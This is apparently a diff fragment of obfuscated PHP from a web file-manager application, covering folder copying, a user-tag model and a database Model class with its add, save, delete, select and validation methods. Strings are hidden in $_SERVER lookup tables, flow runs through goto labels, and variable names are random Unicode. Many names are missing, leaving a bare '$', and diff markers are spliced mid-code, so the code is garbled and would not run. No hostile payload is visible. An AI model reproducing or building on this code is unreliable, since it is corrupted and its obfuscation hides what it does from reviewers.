=& $_SERVER[譃]; $ = array($ɣ[560] => array(), $ɣ[561] => array(), $ɣ[559] => array(), $ɣ[596] => array()); $І = $؛ ? $؛ : $->pathThis($ʠ); $ϋˆ = $this->fileNameExist($Ϯ, $І); $Ȟ = $this->mkdir($Ϯ, $І, $Ӧ); if (!$ϋˆ || $Ӧ == REPEAT_RENAME_FOLDER) { $Ӧ = !1; } if ($ϋˆ) { $this->_childrenAllMake($ϋˆ); } Hook::trigger($ɣ[597]); $this->_copyChildTo($, $ʠ, $Ȟ, $Ӧ, $, $); Hook::trigger($ɣ[598]); if ($Ȟ) { $this->folderSizeResetChildren($Ȟ); } $this->_childrenListClear(); Model($ɣ[562])->addAll($[$ɣ[560]], array(), !0); Model($ɣ[563])->eventCopy($Ȟ); $this->saveAll($[$ɣ[561]]); Model($ɣ[466])->linkAdd($[$ɣ[559]]); Model($ɣ[466])->remove($[$ɣ[596]]); $this->folderSizeReset($Ϯ); $this->updateModifyTime($Ϯ); return $Ȟ; } private function _copyChildTo($㣈, $ӓ, $, $, &$Ҭ, $婵) { $ =& $_SERVER[譃]; $˼ = $this->sourceInfoCache($); $ = $㣈->listPath($ӓ); $ = $ ? $ : array($[76] => array(), $[77] => array()); $ڬ = array_merge($[$[76]], $[$[77]]); $ = $this->_addFiles($㣈, $[$[76]], $婵); $Ԣ = array(); foreach ($ڬ as &$Ͻ) { if (isset($[$Ͻ[$[32]]])) { $Ͻ = $[$Ͻ[$[32]]]; } $Ͻ[$[407]] = $Ͻ[$[33]] == $[79]; $Ͻ[$[409]] = _get($Ͻ, $[171], $[12]); $Ͻ[$[80]] = _get($Ͻ, $[80], 0); $Ͻ[$[463]] = _get($Ͻ, $[463], 0); if (!isset($Ͻ[$[599]]) && $Ͻ[$[463]]) { $Ҭ[$[596]][] = $Ͻ[$[463]]; } if ($) { $ = $this->fileNameExistCache($, $Ͻ[$[32]]); if ($) { if ($Ͻ[$[407]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $Ͻ[$[463]], $Ͻ[$[80]]); if ($) { $Ҭ[$[559]][] = $Ͻ[$[463]]; } continue; } else { if ($ == REPEAT_RENAME) { $Ͻ[$[32]] = $this->fileNameAutoCache($, $Ͻ[$[32]], $, !1); } } } } if (!$Ͻ[$[407]] && $Ͻ[$[463]] == 0) { continue; } if (!$Ͻ[$[407]] && $Ͻ[$[463]]) { $Ҭ[$[559]][] = $Ͻ[$[463]]; } $Ԣ[] = $this->_makeItemData($Ͻ, $˼, $Ͻ[$[32]]); } unset($Ͻ); if (!empty($Ԣ)) { $this->addAll($Ԣ); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $[32]); foreach ($ڬ as $Ͻ) { $ = $[$Ͻ[$[32]]]; $ = $[$[399]]; $this->_copyApplyMeta($, $Ҭ); if ($Ͻ[$[33]] == $[79]) { $Ͻ[$[78]] = $㣈->getPathInner($Ͻ[$[78]]); $this->_copyChildTo($㣈, $Ͻ[$[78]], $, $, $Ҭ, $婵); } } } private function _addFiles($ė, $˕, $) { $գ =& $_SERVER[譃]; if (!$˕ || count($˕) == 0) { return array(); } $ = array(); foreach ($˕ as &$ۜϘ) { Hook::trigger($գ[600], $ۜϘ); $ۜϘ[$գ[78]] = $ė->getPathInner($ۜϘ[$գ[78]]); $ = $ė->hashSimple($ۜϘ[$գ[78]]); $𝑁 = $ė->hashMd5($ۜϘ[$գ[78]]); if (strlen($𝑁) > 10 && !isset($[$𝑁])) { $[$𝑁] = array(); } $ۜϘ[$գ[174]] = $; $ۜϘ[$գ[173]] = $𝑁; Hook::trigger($գ[601], $ۜϘ); $[$𝑁][] =& $ۜϘ; if (count($[$𝑁]) > 1) { $ۜϘ[$գ[599]] = !0; } } unset($ۜϘ); $ĺ = array($գ[173] => array($գ[7], array_keys($))); $ = Model($գ[602]); $߁ = $->where($ĺ)->select(); $߁ = $߁ ? $߁ : array(); foreach ($߁ as $ү) { if (!isset($[$ү[$գ[173]]])) { continue; } $ = $[$ү[$գ[173]]]; foreach ($ as &$ۜϘ) { $ۜϘ[$գ[463]] = $ү[$գ[463]]; $ۜϘ[$գ[599]] = !0; } unset($ۜϘ); } $ = array(); foreach ($˕ as $) { if (isset($[$գ[599]]) && $[$գ[599]]) { continue; } $ = $ė->getPathInner($[$գ[78]]); $ = $->addFileMake($, $[$գ[80]], $[$գ[174]], $[$գ[173]], $[$գ[32]], $); if (!is_array($)) { continue; } $[] = $; } $->addAll($); $ĺ = array($գ[173] => array($գ[7], array_keys($))); $߁ = $->where($ĺ)->select(); $߁ = $߁ ? $߁ : array(); foreach ($߁ as $ү) { if (!isset($[$ү[$գ[173]]])) { continue; } $ć =& $[$ү[$գ[173]]]; foreach ($ć as &$ۜϘ) { $ۜϘ[$գ[463]] = $ү[$գ[463]]; } unset($ۜϘ); } $ = array(); foreach ($˕ as $Ε¶) { $[$Ε¶[$գ[32]]] = $Ε¶; } return $; } } goto D; F܊ˌ: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\163\x65\162\137\x66\x61\166"; protected function cacheFunctionAlias($) { $օ =& $_SERVER[譃]; return array($օ[1933] => array(USER_ID, $օ[1934])); } protected function listData() { $ =& $_SERVER[譃]; $ = array($[1646] => USER_ID, $[479] => array($[1937], 0)); $ʼn = $[1939]; $Ѱ = $this->field($ʼn)->where($)->order($[1940])->select(); return $Ѱ ? $Ѱ : array(); } protected function listByTag($㨸) { } protected function addToTag($, $鲲) { $ڸ =& $_SERVER[譃]; if (!Model($ڸ[2074])->listData($鲲) || !Model($ڸ[823])->pathInfo($)) { return !1; } $Ҩ = array($ڸ[1646] => USER_ID, $ڸ[479] => $鲲, $ڸ[418] => $, $ڸ[419] => $ڸ[413], $ڸ[417] => $ڸ[12], $ڸ[1827] => 0); if ($this->where($Ҩ)->find()) { return !1; } return $this->add($Ҩ); } protected function removeFromTag($㈭, $) { $һ =& $_SERVER[譃]; if (!Model($һ[2074])->listData($)) { return !1; } if (is_array($㈭)) { $㈭ = array($һ[7], $㈭); } $ = array($һ[1646] => USER_ID, $һ[479] => $, $һ[419] => $һ[413], $һ[418] => $㈭); return $this->where($)->delete(); } protected function removeByTag($ᾣ) { $і =& $_SERVER[譃]; if (!$ᾣ) { return !1; } $Ի = array($і[1646] => USER_ID, $і[479] => $ᾣ); return $this->where($Ի)->delete(); } protected function removeBySource($ڝ) { $ܚ =& $_SERVER[譃]; if (is_array($ڝ)) { $ڝ = array($ܚ[7], $ڝ); } $˳ = array($ܚ[1646] => USER_ID, $ܚ[418] => $ڝ, $ܚ[479] => array($ܚ[1014], 0)); return $this->where($˳)->delete(); } }
\ No newline at end of file
+ goto b; cŖ: define($_SERVER[Ȣ][249], 1); define($_SERVER[Ȣ][250], 0); define($_SERVER[Ȣ][251], 2); goto Fī; Fī: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\x62\154\145", "\x6f\x72\x64\145\162", "\141\x6c\x69\x61\163", "\x68\x61\x76\x69\x6e\147", "\x67\x72\157\x75\160", "\x6c\157\x63\x6b", "\x64\151\163\x74\151\x6e\x63\164", "\141\x75\x74\x6f", "\146\x69\154\x74\x65\162", "\166\x61\154\151\144\x61\164\x65", "\162\x65\x73\x75\x6c\164", "\x62\x69\x6e\144", "\164\x6f\x6b\145\156"); public function __construct($ = '', $㏋䃲 = '', $̶ = '') { $쫅݃ =& $_SERVER[Ȣ]; $this->_initialize(); if (!empty($)) { if (strpos($, $쫅݃[10])) { list($this->dbName, $this->name) = explode($쫅݃[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($㏋䃲)) { $this->tablePrefix = $쫅݃[12]; } elseif ($쫅݃[12] != $㏋䃲) { $this->tablePrefix = $㏋䃲; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($쫅݃[252]); } $this->db(0, empty($this->connection) ? $̶ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $۟ =& $_SERVER[Ȣ]; if (empty($this->fields)) { if (think_config($۟[253])) { $͓ = $this->dbName ? $this->dbName : think_config($۟[254]); $¨ = think_var_cache($۟[255] . strtolower(get_path_this($͓) . $۟[10] . $this->name)); if ($¨) { $īڇ = think_config($۟[256]); if (empty($īڇ) || $¨[$۟[257]] == $īڇ) { $this->fields = $¨; return; } } } $this->flush(); } } public function flush() { $ǽ =& $_SERVER[Ȣ]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ǽ[258]] = !1; foreach ($ as $֥ => $Ɖ) { $ꡇ[$֥] = $Ɖ[$ǽ[33]]; if ($Ɖ[$ǽ[39]]) { $this->fields[$ǽ[259]] = $֥; if ($Ɖ[$ǽ[42]]) { $this->fields[$ǽ[258]] = !0; } } } $this->fields[$ǽ[260]] = $ꡇ; if (think_config($ǽ[256])) { $this->fields[$ǽ[257]] = think_config($ǽ[256]); } if (think_config($ǽ[253])) { $֘ = $this->dbName ? $this->dbName : think_config($ǽ[254]); think_var_cache($ǽ[255] . strtolower(get_path_this($֘) . $ǽ[10] . $this->name), $this->fields); } } public function switchModel($, $ި = array()) { $ =& $_SERVER[Ȣ]; $ = ucwords(strtolower($)) . $[261]; if (!class_exists($)) { think_exception($ . think_lang($[262])); } $this->_extModel = new $($this->name); if (!empty($ި)) { foreach ($ި as $坊) { $this->_extModel->setProperty($坊, $this->{$坊}); } } return $this->_extModel; } public function __set($, $Ե) { $this->data[$] = $Ե; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($ك) { return isset($this->data[$ك]); } public function __unset($) { unset($this->data[$]); } public function __call($̸, $ύ) { $Ӄ剕 =& $_SERVER[Ȣ]; if (in_array(strtolower($̸), $this->methods, !0)) { $this->options[strtolower($̸)] = $ύ[0]; return $this; } elseif (in_array(strtolower($̸), array($Ӄ剕[263], $Ӄ剕[264], $Ӄ剕[265], $Ӄ剕[266], $Ӄ剕[267]), !0)) { $ٖ = isset($ύ[0]) ? $ύ[0] : $Ӄ剕[195]; $ٖ = $this->db->parseKey($ٖ); return $this->getField(strtoupper($̸) . $Ӄ剕[268] . $ٖ . $Ӄ剕[269] . $̸, $Ӄ剕[263]); } elseif (strtolower(substr($̸, 0, 5)) == $Ӄ剕[270]) { $ٖ = think_parse_name(substr($̸, 5)); $Ɓٻ[$ٖ] = $ύ[0]; return $this->where($Ɓٻ)->find(); } elseif (strtolower(substr($̸, 0, 10)) == $Ӄ剕[271]) { $ُ = think_parse_name(substr($̸, 10)); $Ɓٻ[$ُ] = $ύ[0]; return $this->where($Ɓٻ)->getField($ύ[1]); } elseif (isset($this->_scope[$̸])) { return $this->scope($̸, $ύ[0]); } elseif (method_exists($this, $̸)) { array_unshift($ύ, $̸); return call_user_func_array(array($this, $Ӄ剕[272]), $ύ); } else { return call_user_func_array(array(parent, $̸), $ύ); } } protected function call() { $ =& $_SERVER[Ȣ]; $ = func_get_args(); $৴ = array_shift($); $ϭ = $৴; if (is_array($৴)) { $ϭ = $৴[1]; $৴ = $৴[0]; } $홮 = count($) - 1; if (isset($[$홮]) && $[$홮] === $৴) { think_exception(__CLASS__ . $[4] . $৴ . think_lang($[273])); return; } $[] = $৴; if (method_exists($this, $[274])) { $ư = call_user_func_array(array($this, $[275]), array($ϭ, $)); if (!is_null($ư) && $ư !== !1) { return $ư; } } $ = call_user_func_array(array($this, $৴), $); if (method_exists($this, $[276])) { $ư = call_user_func_array(array($this, $[277]), array($ϭ, $, $)); if ($ư) { return $ư; } } return $; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[Ȣ]; if (!empty($this->fields)) { foreach ($ as $ۢ => $) { if (is_array($this->fields) && !in_array($ۢ, $this->fields, !0)) { unset($[$ۢ]); } elseif (is_scalar($)) { $this->_parseType($, $ۢ); } } } if (!empty($this->options[$[278]])) { $ = array_map($this->options[$[278]], $); unset($this->options[$[278]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ƈ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[Ȣ][279]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ƀ = $this->db->insert($, $, $ƈ); if (!1 !== $ƀ) { $̻ = $this->getLastInsID(); if ($̻) { $[$this->getPk()] = $̻; $this->_after_insert($, $); return $̻; } $this->_after_insert($, $); } return $ƀ; } protected function _beforeInsert(&$픗, $) { } protected function _after_insert($Ȱ, $ݼ) { } public function addAll($, $ƺ = array(), $ = false) { $ =& $_SERVER[Ȣ]; if (empty($)) { $this->error = think_lang($[279]); return !1; } $ƺ = $this->_parseOptions($ƺ); foreach ($ as $ʉ => $٠) { $[$ʉ] = $this->_facade($٠); } if (method_exists($this->db, $[280])) { $耡 = $this->db->insertAll($, $ƺ, $); } else { $this->startTrans(); foreach ($ as $ʉ => $٠) { $耡 = $this->db->insert($٠, $ƺ, $); } $this->commit(); } if (!1 !== $耡) { $ = $this->getLastInsID(); if ($) { return $; } } return $耡; } public function selectAdd($® = '', $̓˼ = '', $͝ = array()) { $ =& $_SERVER[Ȣ]; $͝ = $this->_parseOptions($͝); if (!1 === ($μ = $this->db->selectInsert($® ? $® : $͝[$[281]], $̓˼ ? $̓˼ : $this->getTableName(), $͝))) { $this->error = think_lang($[282]); return !1; } else { return $μ; } } public function save($ = '', $ = array()) { $ =& $_SERVER[Ȣ]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[279]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $Γ = $this->getPk(); if (!isset($[$[283]])) { if (isset($[$Γ])) { $ע[$Γ] = $[$Γ]; $[$[283]] = $ע; unset($[$Γ]); } else { $this->error = think_lang($[282]); return !1; } } if (is_array($[$[283]]) && isset($[$[283]][$Γ])) { $ = $[$[283]][$Γ]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $蝲 = $this->db->update($, $); if (!1 !== $蝲) { if (isset($)) { $[$Γ] = $; } $this->_afterUpdate($, $); } return $蝲; } protected function _beforeUpdate(&$З, $ʣх) { } protected function _afterUpdate($Ц, $) { } public function delete($쒥 = array()) { $֤ =& $_SERVER[Ȣ]; if (empty($쒥) && empty($this->options[$֤[283]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($쒥) || is_string($쒥)) { if (strpos($쒥, $֤[50])) { $[$] = array($֤[284], $쒥); } else { $[$] = $쒥; } $this->options[$֤[283]] = $; } $쒥 = $this->_parseOptions(); if (is_array($쒥[$֤[283]]) && isset($쒥[$֤[283]][$])) { $ = $쒥[$֤[283]][$]; } $ = $this->db->delete($쒥); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $쒥); } return $; } protected function _after_delete($, $) { } public function select($凶 = array()) { $㱹 =& $_SERVER[Ȣ]; if (is_string($凶) || is_numeric($凶)) { $ = $this->getPk(); if (strpos($凶, $㱹[50])) { $[$] = array($㱹[284], $凶); } else { $[$] = $凶; } $this->options[$㱹[283]] = $; } elseif (!1 === $凶) { $凶 = $this->_parseOptions(); return $㱹[285] . $this->db->buildSelectSql($凶) . $㱹[286]; } $凶 = $this->_parseOptions(); $͵ = $this->db->select($凶); if (!1 === $͵) { return !1; } if (empty($͵)) { return null; } $this->_afterSelect($͵, $凶); return $͵; } protected function _afterSelect(&$ˑ̡, $鋏) { } public function buildSql($Ɇ = array()) { $Έ =& $_SERVER[Ȣ]; $Ɇ = $this->_parseOptions($Ɇ); return $Έ[285] . $this->db->buildSelectSql($Ɇ) . $Έ[286]; } public function optionsValue($ğ = null) { if (is_null($ğ)) { return $this->options; } elseif (is_array($ğ)) { $this->options = array_merge($this->options, $ğ); } } protected function _parseOptions($҉ = array()) { $曾 =& $_SERVER[Ȣ]; if (is_array($҉)) { $҉ = array_merge($this->options, $҉); } $this->options = array(); if (!isset($҉[$曾[287]])) { $҉[$曾[287]] = $this->getTableName(); $Х = $this->fields; } else { $Х = $this->getDbFields(); } if (!empty($҉[$曾[288]])) { $҉[$曾[287]] .= $曾[53] . $҉[$曾[288]]; } $҉[$曾[289]] = $this->name; if (isset($҉[$曾[283]]) && is_array($҉[$曾[283]]) && !empty($Х) && !isset($҉[$曾[290]]) && !isset($҉[$曾[287]])) { foreach ($҉[$曾[283]] as $ => $똛) { $ = trim($); if (in_array($, $Х, !0)) { if (is_scalar($똛)) { $this->_parseType($҉[$曾[283]], $); } } elseif (!is_numeric($) && $曾[11] != substr($, 0, 1) && !1 === strpos($, $曾[10]) && !1 === strpos($, $曾[268]) && !1 === strpos($, $曾[291]) && !1 === strpos($, $曾[292])) { unset($҉[$曾[283]][$]); } } } $this->_options_filter($҉); return $҉; } protected function _options_filter(&$ك) { } protected function _parseType(&$͈, $) { $ö =& $_SERVER[Ȣ]; if (empty($this->options[$ö[293]][$ö[4] . $])) { $ = strtolower($this->fields[$ö[260]][$]); if (!1 !== strpos($, $ö[294])) { } elseif (!1 === strpos($, $ö[295]) && !1 !== strpos($, $ö[296])) { $͈[$] = intval($͈[$]); } elseif (!1 !== strpos($, $ö[297]) || !1 !== strpos($, $ö[298])) { $͈[$] = floatval($͈[$]); } elseif (!1 !== strpos($, $ö[299])) { $͈[$] = (bool) $͈[$]; } } } public function find($ = array()) { $ =& $_SERVER[Ȣ]; if (is_numeric($) || is_string($)) { $۾[$this->getPk()] = intval($); $this->options[$[283]] = $۾; } $this->options[$[300]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[301]])) { return $this->returnResult($this->data, $this->options[$[301]]); } return $this->data; } protected function _afterFind(&$Ƴ, $) { } protected function returnResult($, $ = '') { $ݘ =& $_SERVER[Ȣ]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $ݘ[302]: return json_encode($); case $ݘ[303]: return xml_encode($); } } return $; } public function parseFieldsMap($², $͔ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($͔ == 1) { if (isset($²[$])) { $²[$] = $²[$]; unset($²[$]); } } else { if (isset($²[$])) { $²[$] = $²[$]; unset($²[$]); } } } } return $²; } public function setField($˧ǐ, $Ő = '') { if (is_array($˧ǐ)) { $ = $˧ǐ; } else { $[$˧ǐ] = $Ő; } return $this->save($); } public function setAdd($ٹ, $ = 1) { $ =& $_SERVER[Ȣ]; $ = $ٹ . $[304] . $; if ($ < 0) { $ = $ٹ . $; } return $this->setField($ٹ, array($[305], $)); } public function getField($, $ = null) { $ =& $_SERVER[Ȣ]; $Ѩ[$[281]] = $; $Ѩ = $this->_parseOptions($Ѩ); $ = trim($); if (strpos($, $[50])) { if (!isset($Ѩ[$[300]])) { $Ѩ[$[300]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($Ѩ); if (!empty($)) { $ԉ = explode($[50], $); $ = array_keys($[0]); $¥ = array_shift($); $ = array_shift($); $ǂݝ = array(); $ = count($ԉ); foreach ($ as $Ԗ) { $ן = $Ԗ[$¥]; if (2 == $) { $ǂݝ[$ן] = $Ԗ[$]; } else { $ǂݝ[$ן] = is_string($) ? implode($, $Ԗ) : $Ԗ; } } return $ǂݝ; } } else { if (!0 !== $) { $Ѩ[$[300]] = is_numeric($) ? $ : 1; } if ($ === $[263]) { unset($Ѩ[$[300]]); } $Ԗ = $this->db->select($Ѩ); if (!empty($Ԗ)) { if ($ === $[263]) { return reset($Ԗ[0]); } if (!0 !== $ && 1 == $Ѩ[$[300]]) { return reset($Ԗ[0]); } foreach ($Ԗ as $) { $ä[] = $[$]; } return $ä; } } return null; } public function create($ = '', $ = '') { $ą =& $_SERVER[Ȣ]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ą[279]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ą[281]])) { $ = $this->options[$ą[281]]; unset($this->options[$ą[281]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($ą[50], $); } if (think_config($ą[306])) { $[] = think_config($ą[307]); } foreach ($ as $ۜ۩ => $) { if (!in_array($ۜ۩, $)) { unset($[$ۜ۩]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ą[308]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ۜ۩ => $) { if (!in_array($ۜ۩, $)) { unset($[$ۜ۩]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$ۜ۩] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ۡ =& $_SERVER[Ȣ]; if (isset($this->options[$ۡ[309]]) && !$this->options[$ۡ[309]]) { return !0; } if (think_config($ۡ[306])) { $ = think_config($ۡ[307]); if (!isset($[$]) || Session::get($)) { return !1; } list($ݔ, $) = explode($ۡ[11], $[$]); if ($ && Session::get($ . $ۡ[10] . $ݔ) === $) { Session::remove($ . $ۡ[10] . $ݔ); return !0; } if (think_config($ۡ[310])) { Session::remove($ . $ۡ[10] . $ݔ); } return !1; } return !0; } public function regex($˭, $DŽ) { $ =& $_SERVER[Ȣ]; $ܬ = array($[311] => $[312], $[313] => $[314], $[315] => $[316], $[317] => $[318], $[319] => $[320], $[321] => $[322], $[323] => $[324], $[298] => $[325], $[326] => $[327]); if (isset($ܬ[strtolower($DŽ)])) { $DŽ = $ܬ[strtolower($DŽ)]; } return preg_match($DŽ, $˭) === 1; } private function autoOperation(&$Ⴈ, $㞋) { $ =& $_SERVER[Ȣ]; if (!empty($this->options[$[328]])) { $̘ = $this->options[$[328]]; unset($this->options[$[328]]); } elseif (!empty($this->_auto)) { $̘ = $this->_auto; } if (isset($̘)) { foreach ($̘ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($㞋 == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[329]: case $[330]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($Ⴈ[$[0]])) { array_unshift($, $Ⴈ[$[0]]); } if ($[329] == $[3]) { $Ⴈ[$[0]] = call_user_func_array($[1], $); } else { $Ⴈ[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $[281]: $Ⴈ[$[0]] = $Ⴈ[$[1]]; break; case $[331]: if ($[12] === $Ⴈ[$[0]]) { unset($Ⴈ[$[0]]); } break; case $[332]: default: $Ⴈ[$[0]] = $[1]; } if (!1 === $Ⴈ[$[0]]) { unset($Ⴈ[$[0]]); } } } } return $Ⴈ; } protected function autoValidation($ת, $ܰ) { $ =& $_SERVER[Ȣ]; if (!empty($this->options[$[333]])) { $䒂 = $this->options[$[333]]; unset($this->options[$[333]]); } elseif (!empty($this->_validate)) { $䒂 = $this->_validate; } if (isset($䒂)) { if ($this->patchValidate) { $this->error = array(); } foreach ($䒂 as $ => $щ) { if (empty($щ[5]) || $щ[5] == THINK_MODEL_BOTH || $щ[5] == $ܰ) { if (0 == strpos($щ[2], $[334]) && strpos($щ[2], $[335])) { $щ[2] = think_lang(substr($щ[2], 2, -1)); } $щ[3] = isset($щ[3]) ? $щ[3] : THINK_EXISTS_VALIDATE; $щ[4] = isset($щ[4]) ? $щ[4] : $[336]; switch ($щ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ת, $щ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($ת[$щ[0]])) { if (!1 === $this->_validationField($ת, $щ)) { return !1; } } break; default: if (isset($ת[$щ[0]])) { if (!1 === $this->_validationField($ת, $щ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($̦, $٨) { if (!1 === $this->_validationFieldItem($̦, $٨)) { if ($this->patchValidate) { $this->error[$٨[0]] = $٨[2]; } else { $this->error = $٨[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ =& $_SERVER[Ȣ]; switch (strtolower(trim($[4]))) { case $[329]: case $[330]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $ٛ) { $˞[$ٛ] = $[$ٛ]; } array_unshift($, $˞); } else { array_unshift($, $[$[0]]); } if ($[329] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[337]: return $[$[0]] == $[$[1]]; case $[338]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $˜ = array(); if (is_array($[0])) { foreach ($[0] as $ٛ) { $˜[$ٛ] = $[$ٛ]; } } else { $˜[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $˜[$this->getPk()] = array($[339], $[$this->getPk()]); } if ($this->where($˜)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($̆, $Ķœ, $ɒ = "\x72\145\x67\x65\x78") { $ =& $_SERVER[Ȣ]; $ɒ = strtolower(trim($ɒ)); switch ($ɒ) { case $[7]: case $[340]: $ь = is_array($Ķœ) ? $Ķœ : explode($[50], $Ķœ); return $ɒ == $[7] ? in_array($̆, $ь) : !in_array($̆, $ь); case $[341]: case $[342]: if (is_array($Ķœ)) { $ = $Ķœ[0]; $凬 = $Ķœ[1]; } else { list($, $凬) = explode($[50], $Ķœ); } return $ɒ == $[341] ? $̆ >= $ && $̆ <= $凬 : $̆ < $ || $̆ > $凬; case $[343]: case $[344]: return $ɒ == $[343] ? $̆ == $Ķœ : $̆ != $Ķœ; case $[345]: $ = mb_strlen($̆, $[346]); if (strpos($Ķœ, $[50])) { list($, $凬) = explode($[50], $Ķœ); return $ >= $ && $ <= $凬; } else { return $ == $Ķœ; } case $[347]: list($, $) = explode($[50], $Ķœ); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $[348]: return in_array(get_client_ip(), explode($[50], $Ķœ)); case $[349]: return !in_array(get_client_ip(), explode($[50], $Ķœ)); case $[336]: default: return $this->regex($̆, $Ķœ); } } public function query($, $ߋ = false) { $딽ψ =& $_SERVER[Ȣ]; if (!is_bool($ߋ) && !is_array($ߋ)) { $ߋ = func_get_args(); array_shift($ߋ); } $ = str_replace(array($딽ψ[66], $딽ψ[350]), $딽ψ[53], $); $ = $this->parseSql($, $ߋ); return $this->db->query($); } public function execute($, $ϵܹť = false) { if (!is_bool($ϵܹť) && !is_array($ϵܹť)) { $ϵܹť = func_get_args(); array_shift($ϵܹť); } $ = $this->parseSql($, $ϵܹť); return $this->db->execute($); } protected function parseSql($Ӷ, $䫑) { $ =& $_SERVER[Ȣ]; if (!0 === $䫑) { $̼ = $this->_parseOptions(); $Ӷ = $this->db->parseSql($Ӷ, $̼); } elseif (is_array($䫑)) { $䫑 = array_map(array($this->db, $[351]), $䫑); $Ӷ = vsprintf($Ӷ, $䫑); } else { $Ӷ = strtr($Ӷ, array($[352] => $this->getTableName(), $[353] => think_config($[252]))); } $this->db->setModel($this->name); return $Ӷ; } public function db($⎶ = '', $ = '', $ = array()) { $Þ =& $_SERVER[Ȣ]; if ($Þ[12] === $⎶ && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$⎶]) || isset($[$⎶]) && $ && $[$⎶] != $) { if (!empty($) && is_string($) && !1 === strpos($, $Þ[8])) { $ = think_config($); } $⎶ = think_guid($); $[$⎶] = Db::getInstance($); } elseif (NULL === $) { $[$⎶]->close(); unset($[$⎶]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $՚) { $this->setProperty($, $՚); } } $[$⎶] = $; $this->db = $[$⎶]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $۬ = get_class($this); if ($۬ == $_SERVER[Ȣ][354]) { return $this->name; } $this->name = substr($۬, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[Ȣ]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $̶ =& $_SERVER[Ȣ]; return 